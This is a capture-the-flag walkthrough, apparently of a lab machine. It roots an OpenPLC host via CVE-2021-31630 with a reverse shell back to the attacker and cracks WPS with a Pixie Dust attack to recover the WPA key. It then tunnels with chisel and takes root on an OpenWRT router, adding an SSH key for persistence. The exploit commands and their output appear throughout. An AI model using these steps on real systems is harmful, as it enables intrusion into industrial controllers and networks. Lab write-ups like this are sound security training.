This is a nice Linux machine that resembles an IT and hardware pentesting scenario, where the goal is rooting a WiFi access point. For the IT part we have to root a machine by exploiting a vulnerability (CVE-2021-31630) in an OpenPLC server, this will be enough for the user flag. Later, for the privilege escalation part, the machine developers have set in place a cool WiFi virtualization environment. First we attack the WiFi with OneShot, which will enable us to obtain the WPA-PSK network key. Once inside the WLAN, access to the WiFi AP is gained by abusing a security misconfiguration related to the root account in the AP embedded Linux (OpenWRT).
According to the documentation, the OpenPLC webserver runs PLC programs created on the OpenPLC editor tool, and the web server dashboard allows the user to configure several parameters of the runtime. At this moment we see in the dashboard the loaded file is called blank_program.st and the server is stopped.
The PoC provides RCE when run against the host, it just needs passing user credentials as argument. Before it, change the file name in the compile_program in the code to match the file currently loaded in the host OpenPLC.
Start a listener and fire the exploit.
> python3 49803.py -u http://$target:8080 -l openplc -p openplc -i 10.10.xxx.xxx -r 1919[+] Remote Code Execution on OpenPLC_v3 WebServer[+] Checking ifhosthttp://10.10.11.7:8080isUp...[+] Host Up!...[+] Trying to authenticate with credentials openplc:openplc[+] Login success![+] PLCprogramuploading...[+] Attempt to Code injection...[+] Spawning Reverse Shell...[+] Failed to receive connection :(
A reverse shell is successfully received on port 1919 (although the script reports it failed to receive a connection).
Which can be used to retrieve the user flag (in the /root directory).
ROOT
Start from the root shell obtained with the exploit and upgrade the shell.
> python3 -c 'import pty;pty.spawn("/bin/bash");'root@attica02:/bin#zsh:suspendedrlwrap-cArnc-lvp1919> stty raw -echo;fg[1] + continued rlwrap -cAr nc -lvp 1919>export TERM=xterm>export SHELL=bashroot@attica02:/bin#clear
Enumerate the system.
> uname -aLinuxattica025.4.0-173-generic#191-Ubuntu SMP Fri Feb 2 13:55:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
We have root privileges on this machine, but still do not have access to the root.txt flag, meaning we will probably need to move laterally to another machine. For this we will need to do configuration changes on this machine (and this is why we are root).
Having a look at the machine's name, there is probably something related to the wireless network configuration. Let's enumerate the network interfaces.
Having root access to the machine enables us to make configuration changes on the wireless configuration, meaning the machine is running some kind of cool WiFi virtualization.
You can find a Python OneShot script here: https://github.com/kimocoder/OneShot. We will use it to fire a Pixie Dust attack following the tutorials in the links provided.
> python3 ./oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K[*] Running wpa_supplicant…[*] Running wpa_supplicant…[*] Trying PIN '12345670'…[*] Scanning…[*] Authenticating…[+] Authenticated[*] Associating with AP…[+] Associated with 02:00:00:00:01:00 (ESSID:plcrouter)[*] Received Identity Request[*] Sending Identity Response…[*] Received WPS Message M1[P] E-Nonce: B387B12DA58D3988CD0491D083A31A70[*] Sending WPS Message M2…[P] PKR: A06A1B4B0155CEA8AC6F0CC6CCBF9ED9D7714542792D9A182A306D548E959741C8D3D507AE303CE620CDC3A9F445C1A2634D4FC7AC9B45B1AC5144E57751D47EC54585DA543E7B7D20391266B02B6C39FA4AC312C6BBF8AC3DC2C069C5FEF815AF74BF40CF19688839588CB4CC971D16CCB47D419C1DEF696A1BB9328AC185283CF8100E826B10436511E82FCDA408A7ADE606FB9BDFB2F21CE372ADE42B5AB0CD916F6BADF98C41B9215F1758BA5260ADAEC38EDD5170F3113FC5D2F173BC79[P] PKE: 4CF6D2826003A57CB09BAC2A9C6C405354E9E30169E9FE950B2E1B78833E024825B8DED5281BF333625E80D55F89E0219DAB96C994FFA6966C659DD8B4E25C6AD56C335130E949F3696B6AC7AFB13864C27AD148E63582EBEDAD94A6EE5B2F5FE4F96352A37652D98B162093338CFFCC298A7318CB0E4987F81489C9EC1E9B710C1746BCE8153D80AE60660C2F4D671582FC5BC80EB86BF9998B1A16B58ABE9B6EEB278603E4C6CCDBAC32B260274BDABAC60417B6317A2E81694A8DCE91ACDF[P] AuthKey: 87FB35E66A0717C49994D3D6EE9E9416EE2C4CD9370C8AF98F20858C0AC422AD[*] Received WPS Message M3[P] E-Hash1: B0C833682D3439D234768B45CC4E3B83B42124A7C13CD3396517E96E009ED53D[P] E-Hash2: C435645B234ECEA0D7EFD9B3E2088E29E3DC6EC728A4F3FE9CEF9FC28769EF90[*] Sending WPS Message M4…[*] Received WPS Message M5[+] The first half of the PIN is valid[*] Sending WPS Message M6…[*] Received WPS Message M7[+] WPS PIN: '12345670'[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'[+] AP SSID: 'plcrouter'
The script dumps the WPA-PSK key. Connect to the WiFi from command line as indicated in the links provided.
Although we have correctly associated with the WiFi AP, we haven't been assigned an IP address by the DHCP service. Assign yourself an IP address corresponding to a typical private class C network with 255.255.255.0 mask.
Once inside the WLAN we will enumerate the network; for this, transfer an standalone nmap64 package to the host. Unpack the binaries and fire a ping sweep to discover network nodes.
> ./nmap -sn 192.168.1.0/24StartingNmap7.91 ( https://nmap.org ) at 2024-03-19 11:14 UTCNmapscanreportfor192.168.1.1Hostisup (0.00015s latency).MACAddress:02:00:00:00:01:00 (Unknown)Nmapscanreportfor192.168.1.100Hostisup.Nmapdone:256IPaddresses (2 hostsup) scanned in 27.95 seconds
There are 2 hosts, the gateway (192.168.1.1) and our machine (192.168.1.100). Enumerate the AP ports.
> ./nmap 192.168.1.1 -p-StartingNmap7.91 ( https://nmap.org ) at 2024-03-19 11:15 UTCNmapscanreportfor192.168.1.1Hostisup (0.000016s latency).Notshown:65531closedportsPORTSTATESERVICE22/tcpopenssh53/tcpopendomain80/tcpopenhttp443/tcpopenhttpsMACAddress:02:00:00:00:01:00 (Unknown)Nmapdone:1IPaddress (1 hostup) scanned in 11.73 seconds
Let's do a quick enumeration of the HTTP/HTTPS open ports.
A quick Google search reveals LuCI stands for LUA Configuration Interface, a web-based user interface designed for embedded devices (https://launchpad.net/luci). It is usually part of OpenWRT, an open source Linux operating system for embedded devices (
Place a chisel so we can get access to the LuCI portal from Kali.
# In Kali> ./chisel64 server -p 8000 --reverse2024/03/1908:23:23server:Reversetunnellingenabled2024/03/1908:23:23server:FingerprintLeXOj0P8rhHkm92GNXNnmgVzSDfXjXj3Pbls+4zKqJQ=2024/03/1908:23:23server:Listeningonhttp://0.0.0.0:80002024/03/1908:24:18server:session#1:tun:proxy#R:80=>192.168.1.1:80:Listening# In the victim host> ./chisel64 client 10.10.xxx.xxx:8000 R:80:192.168.1.1:802024/03/1912:28:07client:Connectingtows://10.10.14.86:80002024/03/1912:28:08client:Connected (Latency 80.200421ms)
Now browse the web page from Kali, a welcome login portal appears.
Navigate to System -> Administration. Here you can configure the router root password, SSH access and SSH keys. For example, configure the SSH settings, make sure port 22 and root access are both enabled.
In the "Router Password" tab you can change the root SSH password and log in, or you can just use the credential you used to log into the router to open an SSH connection.
> ssh root@192.168.1.1BusyBoxv1.36.1 (2023-11-14 13:38:11UTC) built-in shell (ash)_________________||.-----.-----.-----.||||.----.||_|-||_|-__|||||||_||_||_______||__|_____|__|__||________||__||____||__|WIRELESSFREEDOM-----------------------------------------------------OpenWrt23.05.2,r23630-842932a63d-----------------------------------------------------===WARNING!=====================================Thereisnorootpassworddefinedonthisdevice!Usethe"passwd"commandtosetupanewpasswordin order to prevent unauthorized SSH logins.--------------------------------------------------
You are root.
ALT. ENDING
The router configuration allows the user to add his own RSA public key for SSH logins. For this we need to put in place a socks chisel port forwarding.
# in kali./chisel64server-p8000--reverse2024/03/1910:40:20server:Reversetunnellingenabled2024/03/1910:40:20server:FingerprintTf9ieIbsyLF+/H6CnawpyMirigr0ZzzYUdkRb/ggiT8=2024/03/1910:40:20server:Listeningonhttp://0.0.0.0:80002024/03/1910:41:18server:session#1:tun:proxy#R:127.0.0.1:8081=>socks:Listening# in the victim host./chisel64client10.10.xxx.xxx:8000R:8081:socks2024/03/1914:41:48client:Connectingtows://10.10.14.86:80002024/03/1914:41:49client:Connected (Latency 79.901731ms)
Modify the proxychains configuration accordingly.
> cat /etc/proxychains.conf [ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4 127.0.0.1 1081socks5127.0.0.18081
Enable Firefox proxy on port 8081, and navigate to http://192.168.1.1, so the HTTP traffic is forwarded through the socks tunnel.
Add your public key in System -> Administration -> SSH keys
Finally, in the "SSH Access" tab, uncheck the "Login with password" options.
Now you can login from Kali anytime without knowing the root password. Open an SSH session without password prompt using proxychains and your private key.
